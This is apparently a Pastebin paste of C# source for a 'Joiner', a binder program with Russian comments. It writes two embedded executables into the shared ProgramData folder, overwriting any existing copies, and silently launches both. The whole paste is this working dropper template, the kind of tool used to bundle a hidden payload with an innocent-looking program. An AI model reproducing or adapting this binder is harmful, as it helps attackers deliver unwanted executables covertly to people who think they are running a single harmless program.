Advertisement
Guest User

Untitled

a guest
Jun 16th, 2020
873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.48 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Threading.Tasks;
  5. using System.Diagnostics;
  6. using System.IO;
  7. using NameProject.Properties;
  8.  
  9. namespace Joiner /// Имя проекта
  10. {
  11. static class Program
  12. {
  13. [STAThread]
  14. static void Main()
  15. {
  16. string fil1 = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\P1.exe"; /// Программа №1
  17. string fil2 = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\P2.exe"; /// Программа №2
  18. if (!File.Exists(fil1))
  19. {
  20. File.WriteAllBytes(fil1, Resources.P1); /// Имя 1-й программы (У меня P1)
  21. Process.Start(fil1);
  22. }
  23. else
  24. {
  25. File.Delete(fil1);
  26. File.WriteAllBytes(fil1, Resources.P1); /// Имя 1-й программы (У меня P1)
  27. Process.Start(fil1);
  28. }
  29. if (!File.Exists(fil2))
  30. {
  31. File.WriteAllBytes(fil2, Resources.P2); /// Имя 2-й программы (У меня P2)
  32. Process.Start(fil2);
  33. }
  34. else
  35. {
  36. File.Delete(fil2);
  37. File.WriteAllBytes(fil2, Resources.P2); /// Имя 2-й программы (У меня P2)
  38. Process.Start(fil2);
  39. }
  40. }
  41. }
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement